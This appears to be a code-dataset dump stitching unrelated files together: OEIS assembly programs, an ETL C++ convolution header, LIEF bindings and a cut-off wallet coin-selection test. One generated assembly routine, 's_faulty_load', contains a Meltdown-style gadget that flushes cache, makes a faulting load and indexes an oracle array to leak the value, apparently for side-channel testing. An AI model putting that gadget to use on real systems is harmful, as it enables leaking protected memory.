text stringlengths 1 1.05M |
|---|
; A093518: Number of ways of representing n as exactly 2 generalized pentagonal numbers.
; Submitted by Christian Krause
; 1,1,2,1,1,1,1,2,1,1,1,0,2,1,2,1,1,2,0,1,1,0,2,1,2,0,1,3,1,1,1,1,0,1,1,1,1,2,1,0,2,2,2,0,1,1,0,2,1,0,1,1,3,1,0,1,1,2,2,1,0,1,2,1,1,0,2,0,0,1,2,1,2,1,0,2,0,3,1,2,1,0,2,1,1,1,1,0,0,1,0,1,4,1,1,0,1,2,0,2
mul $0,3
seq $0,52343 ; Number of ways to write n as the unordered sum of two triangular numbers (zero allowed).
|
//=======================================================================
// Copyright (c) 2014-2020 Baptiste Wicht
// Distributed under the terms of the MIT License.
// (See accompanying file LICENSE or copy at
// http://opensource.org/licenses/MIT)
//=======================================================================
#pragma once
#include "etl/expr/base_temporary_expr.hpp"
//Get the implementations
#include "etl/impl/conv_deep.hpp"
namespace etl {
/*!
* \brief A transposition expression.
* \tparam A The transposed type
*/
template <typename A, typename B, bool Flipped>
struct conv_2d_full_deep_expr : base_temporary_expr_bin<conv_2d_full_deep_expr<A, B, Flipped>, A, B> {
using value_type = value_t<A>; ///< The type of value of the expression
using this_type = conv_2d_full_deep_expr<A, B, Flipped>; ///< The type of this expression
using base_type = base_temporary_expr_bin<this_type, A, B>; ///< The base type
using left_traits = decay_traits<A>; ///< The traits of the sub type
static constexpr size_t D = left_traits::dimensions(); ///< The dimensions of the expresions
static constexpr auto storage_order = left_traits::storage_order; ///< The sub storage order
/*!
* \brief Indicates if the temporary expression can be directly evaluated
* using only GPU.
*/
static constexpr bool gpu_computable = false;
/*!
* \brief Construct a new expression
* \param a The sub expression
*/
explicit conv_2d_full_deep_expr(A a, B b) : base_type(a, b) {
//Nothing else to init
}
// Assignment functions
/*!
* \brief Assert that the convolution is done on correct dimensions
*/
template <typename I, typename K, typename C>
static void check([[maybe_unused]] const I& input, [[maybe_unused]] const K& kernel, [[maybe_unused]] const C& conv) {
static_assert(etl::dimensions<I>() == D, "Invalid number of dimensions for input of conv2_full_deep");
static_assert(etl::dimensions<K>() == D, "Invalid number of dimensions for kernel of conv2_full_deep");
static_assert(etl::dimensions<C>() == D, "Invalid number of dimensions for conv of conv2_full_deep");
if constexpr (all_fast<A, B, C>) {
static_assert(etl::dim<D - 2, C>() == etl::dim<D - 2, I>() + etl::dim<D - 2, K>() - 1, "Invalid dimensions for conv2_full_deep");
static_assert(etl::dim<D - 1, C>() == etl::dim<D - 1, I>() + etl::dim<D - 1, K>() - 1, "Invalid dimensions for conv2_full_deep");
} else {
cpp_assert(etl::dim(conv, D - 2) == etl::dim(input, D - 2) + etl::dim(kernel, D - 2) - 1, "Invalid dimensions for conv2_full_deep");
cpp_assert(etl::dim(conv, D - 1) == etl::dim(input, D - 1) + etl::dim(kernel, D - 1) - 1, "Invalid dimensions for conv2_full_deep");
}
}
/*!
* \brief Assign to a matrix of the full storage order
* \param c The expression to which assign
*/
template <typename C>
void assign_to(C&& c) const {
static_assert(all_etl_expr<A, B, C>, "conv2_full_deep only supported for ETL expressions");
inc_counter("temp:assign");
auto& a = this->a();
auto& b = this->b();
check(a, b, c);
if constexpr (Flipped) {
detail::conv2_full_flipped_deep_impl::apply(smart_forward(a), smart_forward(b), c);
} else {
detail::conv2_full_deep_impl::apply(smart_forward(a), smart_forward(b), c);
}
}
/*!
* \brief Add to the given left-hand-side expression
* \param lhs The expression to which assign
*/
template <typename L>
void assign_add_to(L&& lhs) const {
std_add_evaluate(*this, lhs);
}
/*!
* \brief Sub from the given left-hand-side expression
* \param lhs The expression to which assign
*/
template <typename L>
void assign_sub_to(L&& lhs) const {
std_sub_evaluate(*this, lhs);
}
/*!
* \brief Multiply the given left-hand-side expression
* \param lhs The expression to which assign
*/
template <typename L>
void assign_mul_to(L&& lhs) const {
std_mul_evaluate(*this, lhs);
}
/*!
* \brief Divide the given left-hand-side expression
* \param lhs The expression to which assign
*/
template <typename L>
void assign_div_to(L&& lhs) const {
std_div_evaluate(*this, lhs);
}
/*!
* \brief Modulo the given left-hand-side expression
* \param lhs The expression to which assign
*/
template <typename L>
void assign_mod_to(L&& lhs) const {
std_mod_evaluate(*this, lhs);
}
/*!
* \brief Print a representation of the expression on the given stream
* \param os The output stream
* \param expr The expression to print
* \return the output stream
*/
friend std::ostream& operator<<(std::ostream& os, const conv_2d_full_deep_expr& expr) {
return os << "conv2_full_deep(" << expr._a << ", " << expr._b << ")";
}
};
/*!
* \brief Traits for a transpose expression
* \tparam A The transposed sub type
*/
template <typename A, typename B, bool Flipped>
struct etl_traits<etl::conv_2d_full_deep_expr<A, B, Flipped>> {
using expr_t = etl::conv_2d_full_deep_expr<A, B, Flipped>; ///< The expression type
using this_type = etl_traits<expr_t>; ///< The type of this traits
using left_expr_t = std::decay_t<A>; ///< The left sub expression type
using right_expr_t = std::decay_t<B>; ///< The right sub expression type
using left_traits = etl_traits<left_expr_t>; ///< The left sub traits
using right_traits = etl_traits<right_expr_t>; ///< The right sub traits
using value_type = value_t<A>; ///< The value type of the expression
static constexpr bool is_etl = true; ///< Indicates if the type is an ETL expression
static constexpr bool is_transformer = false; ///< Indicates if the type is a transformer
static constexpr bool is_view = false; ///< Indicates if the type is a view
static constexpr bool is_magic_view = false; ///< Indicates if the type is a magic view
static constexpr bool is_fast = all_fast<A, B>; ///< Indicates if the expression is fast
static constexpr bool is_linear = false; ///< Indicates if the expression is linear
static constexpr bool is_thread_safe = true; ///< Indicates if the expression is thread safe
static constexpr bool is_value = false; ///< Indicates if the expression is of value type
static constexpr bool is_direct = true; ///< Indicates if the expression has direct memory access
static constexpr bool is_generator = false; ///< Indicates if the expression is a generator
static constexpr bool is_padded = false; ///< Indicates if the expression is padded
static constexpr bool is_aligned = true; ///< Indicates if the expression is padded
static constexpr bool is_temporary = true; ///< Indicates if the expression needs a evaluator visitor
static constexpr order storage_order = left_traits::storage_order; ///< The expression's storage order
static constexpr bool gpu_computable = is_gpu_t<value_type> && cuda_enabled; ///< Indicates if the expression can be computed on GPU
static constexpr size_t D = left_traits::dimensions(); ///< The number of dimensions
/*!
* \brief Indicates if the expression is vectorizable using the
* given vector mode
* \tparam V The vector mode
*/
template <vector_mode_t V>
static constexpr bool vectorizable = true;
/*!
* \brief Returns the DDth dimension of the expression
* \return the DDth dimension of the expression
*/
template <size_t DD>
static constexpr size_t dim() {
return DD < D - 2 ? etl::dim<DD, A>() : etl::dim<DD, A>() + etl::dim<DD, B>() - 1;
}
/*!
* \brief Returns the dth dimension of the expression
* \param e The sub expression
* \param d The dimension to get
* \return the dth dimension of the expression
*/
static size_t dim(const expr_t& e, size_t d) {
if (d < D - 2) {
return etl::dim(e._a, d);
} else {
return etl::dim(e._a, d) + etl::dim(e._b, d) - 1;
}
}
/*!
* \brief Returns the size of the expression
* \param e The sub expression
* \return the size of the expression
*/
static size_t size(const expr_t& e) {
size_t s = 1;
for (size_t d = 0; d < D; ++d) {
s *= this_type::dim(e, d);
}
return s;
}
/*!
* \brief Returns the multiplicative sum of the dimensions at the given indices
* \return the multiplicative sum of the dimensions at the given indices
*/
template <size_t... I>
static constexpr size_t size_mul(const std::index_sequence<I...>& /*seq*/) {
return (this_type::dim<I>() * ...);
}
/*!
* \brief Returns the size of the expression
* \return the size of the expression
*/
static constexpr size_t size() {
return size_mul(std::make_index_sequence<dimensions()>());
}
/*!
* \brief Returns the number of dimensions of the expression
* \return the number of dimensions of the expression
*/
static constexpr size_t dimensions() {
return D;
}
/*!
* \brief Estimate the complexity of computation
* \return An estimation of the complexity of the expression
*/
static constexpr int complexity() noexcept {
return -1;
}
};
/*!
* \brief Creates an expression representing the 'full' 1D convolution of a and b.
*
* The convolution is applied with padding so that the output has
* the full size as the input.
*
* \param a The input expression
* \param b The kernel expression
*
* \return an expression representing the 'full' 1D convolution of a and b
*/
template <typename A, typename B>
conv_2d_full_deep_expr<detail::build_type<A>, detail::build_type<B>, false> conv_2d_full_deep(A&& a, B&& b) {
static_assert(all_etl_expr<A, B>, "Convolution only supported for ETL expressions");
return conv_2d_full_deep_expr<detail::build_type<A>, detail::build_type<B>, false>{a, b};
}
/*!
* \brief Creates an expression representing the 'full' 1D convolution of a and b, the result will be stored in c
*
* The convolution is applied with padding so that the output has
* the full size as the input.
*
* \param a The input expression
* \param b The kernel expression
* \param c The result
*
* \return an expression representing the 'full' 1D convolution of a and b
*/
template <typename A, typename B, typename C>
auto conv_2d_full_deep(A&& a, B&& b, C&& c) {
static_assert(all_etl_expr<A, B, C>, "Convolution only supported for ETL expressions");
c = conv_2d_full_deep(a, b);
return c;
}
/*!
* \brief Creates an expression representing the 'full' 1D convolution of a and flipped b.
*
* The convolution is applied with padding so that the output has
* the full size as the input.
*
* \param a The input expression
* \param b The kernel expression
*
* \return an expression representing the 'full' 1D convolution of a and b
*/
template <typename A, typename B>
conv_2d_full_deep_expr<detail::build_type<A>, detail::build_type<B>, true> conv_2d_full_deep_flipped(A&& a, B&& b) {
static_assert(all_etl_expr<A, B>, "Convolution only supported for ETL expressions");
return conv_2d_full_deep_expr<detail::build_type<A>, detail::build_type<B>, true>{a, b};
}
/*!
* \brief Creates an expression representing the 'full' 1D convolution of a and flipped b, the result will be stored in c
*
* The convolution is applied with padding so that the output has
* the full size as the input.
*
* \param a The input expression
* \param b The kernel expression
* \param c The result
*
* \return an expression representing the 'full' 1D convolution of a and b
*/
template <typename A, typename B, typename C>
auto conv_2d_full_deep_flipped(A&& a, B&& b, C&& c) {
static_assert(all_etl_expr<A, B, C>, "Convolution only supported for ETL expressions");
c = conv_2d_full_deep_flipped(a, b);
return c;
}
} //end of namespace etl
|
; A227568: Largest k such that a partition of n into distinct parts with boundary size k exists.
; 0,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18
add $0,1
mul $0,2
sub $0,1
mov $2,3
lpb $0,1
add $1,$2
sub $0,$1
lpe
div $1,3
|
; void *p_forward_list_insert_after_callee(void *list_item, void *item)
SECTION code_clib
SECTION code_adt_p_forward_list
PUBLIC _p_forward_list_insert_after_callee
EXTERN asm_p_forward_list_insert_after
_p_forward_list_insert_after_callee:
pop af
pop hl
pop de
push af
jp asm_p_forward_list_insert_after
|
; A021041: Decimal expansion of 1/37.
; 0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7,0,2,7
pow $0,3
mul $0,2
mod $0,9
|
/* Copyright 2017 R. Thomas
* Copyright 2017 Quarkslab
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <string>
#include <sstream>
#include <vector>
#include "pyELF.hpp"
#include "LIEF/ELF/hash.hpp"
#include "LIEF/ELF/NoteDetails/core/CoreFile.hpp"
namespace LIEF {
namespace ELF {
template<class T>
using getter_t = T (CoreFile::*)(void) const;
template<class T>
using setter_t = void (CoreFile::*)(T);
template<>
void create<CoreFile>(py::module& m) {
py::bind_vector<CoreFile::files_t>(m, "CoreFile.files_t");
py::class_<CoreFile, NoteDetails>(m, "CoreFile")
.def_property("files",
static_cast<getter_t<const CoreFile::files_t&>>(&CoreFile::files),
static_cast<setter_t<const CoreFile::files_t&>>(&CoreFile::files),
"List of files mapped in core. (list of " RST_CLASS_REF(lief.ELF.CoreFileEntry) ")")
.def("__len__",
&CoreFile::count,
"Number of files mapped in core"
)
.def("__iter__",
[] (const CoreFile& f) {
return py::make_iterator(std::begin(f), std::end(f));
},
py::keep_alive<0, 1>())
.def("__eq__", &CoreFile::operator==)
.def("__ne__", &CoreFile::operator!=)
.def("__hash__",
[] (const CoreFile& note) {
return Hash::hash(note);
})
.def("__str__",
[] (const CoreFile& note)
{
std::ostringstream stream;
stream << note;
std::string str = stream.str();
return str;
});
}
}
}
|
; A217528: a(n) = (n-2)*(n-3)*2^(n-2)+2^n-2.
; 1,2,6,22,78,254,766,2174,5886,15358,38910,96254,233470,557054,1310718,3047422,7012350,15990782,36175870,81264638,181403646,402653182,889192446,1954545662,4278190078,9328132094,20266876926,43889197054,94757715966,204010946558,438086664190,938450354174,2005749727230,4277787426814,9105330667518,19344532701182,41025527611390,86861418594302,183618441838590,387577848791038,816937139437566,1719636185841662,3615194232127486,7591028278165502,15920928370196478,33354784740212734,69805794224242686
mov $1,$0
lpb $1
sub $1,1
add $2,$0
mov $0,$2
add $3,$1
add $2,$3
mul $3,2
lpe
add $0,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
lea addresses_WC_ht+0x65e0, %rbp
nop
nop
xor %rdx, %rdx
mov (%rbp), %cx
nop
nop
nop
nop
cmp $65168, %rdi
lea addresses_A_ht+0x11a34, %r9
clflush (%r9)
nop
xor $20570, %rdx
movups (%r9), %xmm4
vpextrq $1, %xmm4, %r11
xor $64213, %r11
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_WT+0x1e674, %r9
nop
nop
and %r14, %r14
movl $0x51525354, (%r9)
nop
nop
and $61669, %rcx
// Load
lea addresses_A+0x8af4, %rdx
nop
nop
nop
nop
nop
sub $42084, %rbp
mov (%rdx), %r9d
nop
nop
nop
nop
nop
cmp %rdx, %rdx
// Store
lea addresses_normal+0x6756, %r12
clflush (%r12)
nop
add %rdx, %rdx
mov $0x5152535455565758, %r14
movq %r14, %xmm3
movups %xmm3, (%r12)
sub $64566, %rcx
// Store
mov $0xfa4, %r9
nop
sub %rcx, %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm4
vmovups %ymm4, (%r9)
nop
nop
nop
nop
nop
xor %rdx, %rdx
// Load
lea addresses_A+0x14e74, %r14
nop
and %rbp, %rbp
mov (%r14), %r9d
nop
cmp $32168, %rdi
// Faulty Load
lea addresses_A+0x14e74, %rcx
xor $26680, %rbp
vmovaps (%rcx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %r9
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'4b': 2, '3b': 2, 'de': 1}
4b 4b 3b 3b de
*/
|
// Copyright (c) 2012-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "wallet/wallet.h"
#include <set>
#include <stdint.h>
#include <utility>
#include <vector>
#include "rpc/server.h"
#include "test/test_educoin.h"
#include "validation.h"
#include "wallet/test/wallet_test_fixture.h"
#include <boost/foreach.hpp>
#include <boost/test/unit_test.hpp>
#include <univalue.h>
extern UniValue importmulti(const JSONRPCRequest& request);
extern UniValue dumpwallet(const JSONRPCRequest& request);
extern UniValue importwallet(const JSONRPCRequest& request);
// how many times to run all the tests to have a chance to catch errors that only show up with particular random shuffles
#define RUN_TESTS 100
// some tests fail 1% of the time due to bad luck.
// we repeat those tests this many times and only complain if all iterations of the test fail
#define RANDOM_REPEATS 5
std::vector<std::unique_ptr<CWalletTx>> wtxn;
typedef std::set<std::pair<const CWalletTx*,unsigned int> > CoinSet;
BOOST_FIXTURE_TEST_SUITE(wallet_tests, WalletTestingSetup)
static const CWallet wallet;
static std::vector<COutput> vCoins;
static void add_coin(const CAmount& nValue, int nAge = 6*24, bool fIsFromMe = false, int nInput=0)
{
static int nextLockTime = 0;
CMutableTransaction tx;
tx.nLockTime = nextLockTime++; // so all transactions get different hashes
tx.vout.resize(nInput+1);
tx.vout[nInput].nValue = nValue;
if (fIsFromMe) {
// IsFromMe() returns (GetDebit() > 0), and GetDebit() is 0 if vin.empty(),
// so stop vin being empty, and cache a non-zero Debit to fake out IsFromMe()
tx.vin.resize(1);
}
std::unique_ptr<CWalletTx> wtx(new CWalletTx(&wallet, MakeTransactionRef(std::move(tx))));
if (fIsFromMe)
{
wtx->fDebitCached = true;
wtx->nDebitCached = 1;
}
COutput output(wtx.get(), nInput, nAge, true, true);
vCoins.push_back(output);
wtxn.emplace_back(std::move(wtx));
}
static void empty_wallet(void)
{
vCoins.clear();
wtxn.clear();
}
static bool equal_sets(CoinSet a, CoinSet b)
{
std::pair<CoinSet::iterator, CoinSet::iterator> ret = mismatch(a.begin(), a.end(), b.begin());
return ret.first == a.end() && ret.second == b.end();
}
BOOST_AUTO_TEST_CASE(coin_selection_tests)
{
CoinSet setCoinsRet, setCoinsRet2;
CAmount nValueRet;
LOCK(wallet.cs_wallet);
// test multiple times to allow for differences in the shuffle order
for (int i = 0; i < RUN_TESTS; i++)
{
empty_wallet();
// with an empty wallet we can't even pay one cent
BOOST_CHECK(!wallet.SelectCoinsMinConf( 1 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
add_coin(1*CENT, 4); // add a new 1 cent coin
// with a new 1 cent coin, we still can't find a mature 1 cent
BOOST_CHECK(!wallet.SelectCoinsMinConf( 1 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
// but we can find a new 1 cent
BOOST_CHECK( wallet.SelectCoinsMinConf( 1 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1 * CENT);
add_coin(2*CENT); // add a mature 2 cent coin
// we can't make 3 cents of mature coins
BOOST_CHECK(!wallet.SelectCoinsMinConf( 3 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
// we can make 3 cents of new coins
BOOST_CHECK( wallet.SelectCoinsMinConf( 3 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 3 * CENT);
add_coin(5*CENT); // add a mature 5 cent coin,
add_coin(10*CENT, 3, true); // a new 10 cent coin sent from one of our own addresses
add_coin(20*CENT); // and a mature 20 cent coin
// now we have new: 1+10=11 (of which 10 was self-sent), and mature: 2+5+20=27. total = 38
// we can't make 38 cents only if we disallow new coins:
BOOST_CHECK(!wallet.SelectCoinsMinConf(38 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
// we can't even make 37 cents if we don't allow new coins even if they're from us
BOOST_CHECK(!wallet.SelectCoinsMinConf(38 * CENT, 6, 6, 0, vCoins, setCoinsRet, nValueRet));
// but we can make 37 cents if we accept new coins from ourself
BOOST_CHECK( wallet.SelectCoinsMinConf(37 * CENT, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 37 * CENT);
// and we can make 38 cents if we accept all new coins
BOOST_CHECK( wallet.SelectCoinsMinConf(38 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 38 * CENT);
// try making 34 cents from 1,2,5,10,20 - we can't do it exactly
BOOST_CHECK( wallet.SelectCoinsMinConf(34 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 35 * CENT); // but 35 cents is closest
BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U); // the best should be 20+10+5. it's incredibly unlikely the 1 or 2 got included (but possible)
// when we try making 7 cents, the smaller coins (1,2,5) are enough. We should see just 2+5
BOOST_CHECK( wallet.SelectCoinsMinConf( 7 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 7 * CENT);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U);
// when we try making 8 cents, the smaller coins (1,2,5) are exactly enough.
BOOST_CHECK( wallet.SelectCoinsMinConf( 8 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK(nValueRet == 8 * CENT);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U);
// when we try making 9 cents, no subset of smaller coins is enough, and we get the next bigger coin (10)
BOOST_CHECK( wallet.SelectCoinsMinConf( 9 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 10 * CENT);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
// now clear out the wallet and start again to test choosing between subsets of smaller coins and the next biggest coin
empty_wallet();
add_coin( 6*CENT);
add_coin( 7*CENT);
add_coin( 8*CENT);
add_coin(20*CENT);
add_coin(30*CENT); // now we have 6+7+8+20+30 = 71 cents total
// check that we have 71 and not 72
BOOST_CHECK( wallet.SelectCoinsMinConf(71 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK(!wallet.SelectCoinsMinConf(72 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
// now try making 16 cents. the best smaller coins can do is 6+7+8 = 21; not as good at the next biggest coin, 20
BOOST_CHECK( wallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 20 * CENT); // we should get 20 in one coin
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
add_coin( 5*CENT); // now we have 5+6+7+8+20+30 = 75 cents total
// now if we try making 16 cents again, the smaller coins can make 5+6+7 = 18 cents, better than the next biggest coin, 20
BOOST_CHECK( wallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 18 * CENT); // we should get 18 in 3 coins
BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U);
add_coin( 18*CENT); // now we have 5+6+7+8+18+20+30
// and now if we try making 16 cents again, the smaller coins can make 5+6+7 = 18 cents, the same as the next biggest coin, 18
BOOST_CHECK( wallet.SelectCoinsMinConf(16 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 18 * CENT); // we should get 18 in 1 coin
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U); // because in the event of a tie, the biggest coin wins
// now try making 11 cents. we should get 5+6
BOOST_CHECK( wallet.SelectCoinsMinConf(11 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 11 * CENT);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U);
// check that the smallest bigger coin is used
add_coin( 1*COIN);
add_coin( 2*COIN);
add_coin( 3*COIN);
add_coin( 4*COIN); // now we have 5+6+7+8+18+20+30+100+200+300+400 = 1094 cents
BOOST_CHECK( wallet.SelectCoinsMinConf(95 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1 * COIN); // we should get 1 BTC in 1 coin
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
BOOST_CHECK( wallet.SelectCoinsMinConf(195 * CENT, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 2 * COIN); // we should get 2 BTC in 1 coin
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
// empty the wallet and start again, now with fractions of a cent, to test small change avoidance
empty_wallet();
add_coin(MIN_CHANGE * 1 / 10);
add_coin(MIN_CHANGE * 2 / 10);
add_coin(MIN_CHANGE * 3 / 10);
add_coin(MIN_CHANGE * 4 / 10);
add_coin(MIN_CHANGE * 5 / 10);
// try making 1 * MIN_CHANGE from the 1.5 * MIN_CHANGE
// we'll get change smaller than MIN_CHANGE whatever happens, so can expect MIN_CHANGE exactly
BOOST_CHECK( wallet.SelectCoinsMinConf(MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE);
// but if we add a bigger coin, small change is avoided
add_coin(1111*MIN_CHANGE);
// try making 1 from 0.1 + 0.2 + 0.3 + 0.4 + 0.5 + 1111 = 1112.5
BOOST_CHECK( wallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1 * MIN_CHANGE); // we should get the exact amount
// if we add more small coins:
add_coin(MIN_CHANGE * 6 / 10);
add_coin(MIN_CHANGE * 7 / 10);
// and try again to make 1.0 * MIN_CHANGE
BOOST_CHECK( wallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1 * MIN_CHANGE); // we should get the exact amount
// run the 'mtgox' test (see http://blockexplorer.com/tx/29a3efd3ef04f9153d47a990bd7b048a4b2d213daaa5fb8ed670fb85f13bdbcf)
// they tried to consolidate 10 50k coins into one 500k coin, and ended up with 50k in change
empty_wallet();
for (int j = 0; j < 20; j++)
add_coin(50000 * COIN);
BOOST_CHECK( wallet.SelectCoinsMinConf(500000 * COIN, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 500000 * COIN); // we should get the exact amount
BOOST_CHECK_EQUAL(setCoinsRet.size(), 10U); // in ten coins
// if there's not enough in the smaller coins to make at least 1 * MIN_CHANGE change (0.5+0.6+0.7 < 1.0+1.0),
// we need to try finding an exact subset anyway
// sometimes it will fail, and so we use the next biggest coin:
empty_wallet();
add_coin(MIN_CHANGE * 5 / 10);
add_coin(MIN_CHANGE * 6 / 10);
add_coin(MIN_CHANGE * 7 / 10);
add_coin(1111 * MIN_CHANGE);
BOOST_CHECK( wallet.SelectCoinsMinConf(1 * MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1111 * MIN_CHANGE); // we get the bigger coin
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
// but sometimes it's possible, and we use an exact subset (0.4 + 0.6 = 1.0)
empty_wallet();
add_coin(MIN_CHANGE * 4 / 10);
add_coin(MIN_CHANGE * 6 / 10);
add_coin(MIN_CHANGE * 8 / 10);
add_coin(1111 * MIN_CHANGE);
BOOST_CHECK( wallet.SelectCoinsMinConf(MIN_CHANGE, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE); // we should get the exact amount
BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U); // in two coins 0.4+0.6
// test avoiding small change
empty_wallet();
add_coin(MIN_CHANGE * 5 / 100);
add_coin(MIN_CHANGE * 1);
add_coin(MIN_CHANGE * 100);
// trying to make 100.01 from these three coins
BOOST_CHECK(wallet.SelectCoinsMinConf(MIN_CHANGE * 10001 / 100, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, MIN_CHANGE * 10105 / 100); // we should get all coins
BOOST_CHECK_EQUAL(setCoinsRet.size(), 3U);
// but if we try to make 99.9, we should take the bigger of the two small coins to avoid small change
